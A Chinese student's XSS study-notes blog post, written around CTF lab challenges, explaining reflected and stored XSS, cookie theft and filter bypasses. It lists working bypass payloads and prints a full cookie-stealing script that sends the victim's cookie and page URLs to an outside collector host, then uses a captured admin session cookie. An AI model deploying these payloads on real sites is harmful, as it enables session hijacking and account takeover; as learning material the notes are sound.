web学习笔记之XSS攻击喵
[TOC]
也?XSS是什么喵?
XSS全称为Cross-Site Scripting,跨站脚本攻击
允许恶意用户将代码注入网页,其他用户在浏览网页的时候就会受到影响
XSS类型喵
反射型XSS(非持久型XSS,一般具有一次性)
攻击者可以将恶意的xss代码包含在URL链接中,然后发送给目标用户
举个栗子喵!
如果一个名为xss.php的文件
1 |
|
如果输入?id=1,那么会打印出来1
但是如果输入一段js代码<script>alert("hello")</script>,他就会弹窗显示hello
1_xss
照葫芦画瓢喵,随便写一个弹窗代码,也?得到了
存储型XSS(持久型XSS)
攻击脚本将被永久的存放在目标服务器的数据库或文件中
2_xss_storage
论坛(微博/博客)未进行XSS防护,依旧尝试XSS注入,使用alert弹窗,得到flag
XSS的危害
劫持流量实现恶意跳转
比如<script>window.location.href="https://www.baidu.com";</script>,其中window.location.href
的作用是:修改当前网页的网址为后面的网址
窃取cookie值
cookie?什么小饼干?
用户登录网站成功后,服务器会把登录的凭证发送给浏览器,一般把登录的凭证存储在cookie中。所以如果cookie被窃取,那么攻击者很可能可以直接利用这张令牌,不用密码就可以登录账户
<script>alert(docunment.cookie)</script>,其中document.cookie可以获取当前网站的cookie值
或者使用js代码将cookie发送到特定网站
3_xss_cookie_sysbox_runc
直接访问/backend/admin.php肯定是不行滴
所以,思路很清晰,先XSS注入➡获得管理员的cookie➡使用管理员的账户访问/backend/admin.php
然后坐等管理员访问
管理员访问之后我们就得到了他的cookie
然后打开bp带上cookie访问/backend/admin.php即可
XSS绕过
大小写绕过
过滤了<script>标签➡换成<scRIpt>
双写绕过
如果是将<script>替换成为了空字符串➡改写为<scr<script>ipt>
其他
如果不允许用script➡
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<a href=javascript:alert(1)>link</a>
<a onmouseover=alert(document.cookie)>xss link</a>
<img src=x onerror=alert(1)></img>
and so ononononononononon
HTML实体编码绕过
如果ban掉了;也可以把;去掉,也可以被识别
网页中显示空格可以用 或者使用实体编码 
内嵌tab
比如<iframe src=java	script:alert(1)>,其中	为tab键,防止javascript被过滤掉
and so onononononon
4_xss_cookie_bypass_sysbox_runc
简单尝试<script>alert(1)</script>,发现无效
那换一个叭,尝试<img src=x onerror=alert(1)></img>发现可以
依旧窃取管理员的cookie捏
得到
1 | (function(){(new Image()).src='http://192.168.154.128:32779/index.php?do=api&id=SQBxtH&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://192.168.154.128:32779/index.php?do=keepsession&id=SQBxtH&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
 |
得到了管理员的cookie
PHPSESSID=7b9d5172c074da7061e99efd0e3c7bf7
然后我们使用这个cookie去访问管理员的管理界面/backend/admin.php
得到flag
xss over
呃呃呃呃呃呃呃,写不完作业了!!!!!
Leave a comment